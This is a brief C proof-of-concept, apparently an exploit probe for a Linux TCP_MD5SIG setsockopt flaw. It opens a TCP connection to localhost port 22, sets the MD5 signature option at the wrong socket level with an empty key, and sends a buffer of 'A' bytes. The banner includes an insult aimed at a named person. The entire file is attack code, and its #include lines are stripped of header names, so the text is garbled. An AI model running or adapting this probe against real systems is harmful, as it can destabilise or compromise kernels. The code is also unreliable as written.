#include #include #include #include #include #include #include #include #include #include #include #define TCP_MD5SIG 14 #define D_HOST "127.0.0.1" #define D_PORT 22 struct tcp_md5sig { unsigned short pad1; unsigned short keylen; unsigned int pad2; unsigned char tcp_key[80]; }; int main(int argc, char **argv) { int sd = 0; int ret = 0; int op = 0; char *buf1; struct tcp_md5sig ksig; struct sockaddr_in l_addr; printf("---------[Stupid Setsockopt: Linux TCP_MD5SIG\n"); printf("---------[Anthony LaMantia IS NOT COOL\n"); sd = socket(PF_INET, SOCK_STREAM, 0); if (sd < 0) { printf("---------[error: socket()\n"); return -1; } printf("---------[socket: ok\n"); l_addr.sin_family = AF_INET; l_addr.sin_port = htons(D_PORT); l_addr.sin_addr.s_addr = inet_addr(D_HOST); memset(&(l_addr.sin_zero), 0,8); if ((ret = connect(sd,(struct sockaddr *)&l_addr,sizeof(struct sockaddr))) < 0) { printf("---------[error: connect() (%s:%i)\n", D_HOST, D_PORT); } printf("---------[connect(): (%s:%i)\n", D_HOST, D_PORT); memset((char *)&ksig, 0, sizeof(ksig)); ret = setsockopt(sd, SOL_SOCKET, TCP_MD5SIG, &ksig, sizeof(ksig)); if (ret == -1) { printf("---------[error: setsockopt() == -1\n"); } printf("---------[setsockopt: val: %i return %x\n",TCP_MD5SIG, ret); buf1 = alloca(1024); memset(buf1, '\x41', 1024); printf("---------[Sent: %i bytes to (%s:%i) SNIFF for MD5\n", send(sd, buf1, 1024, 0), D_HOST, D_PORT); return 0; }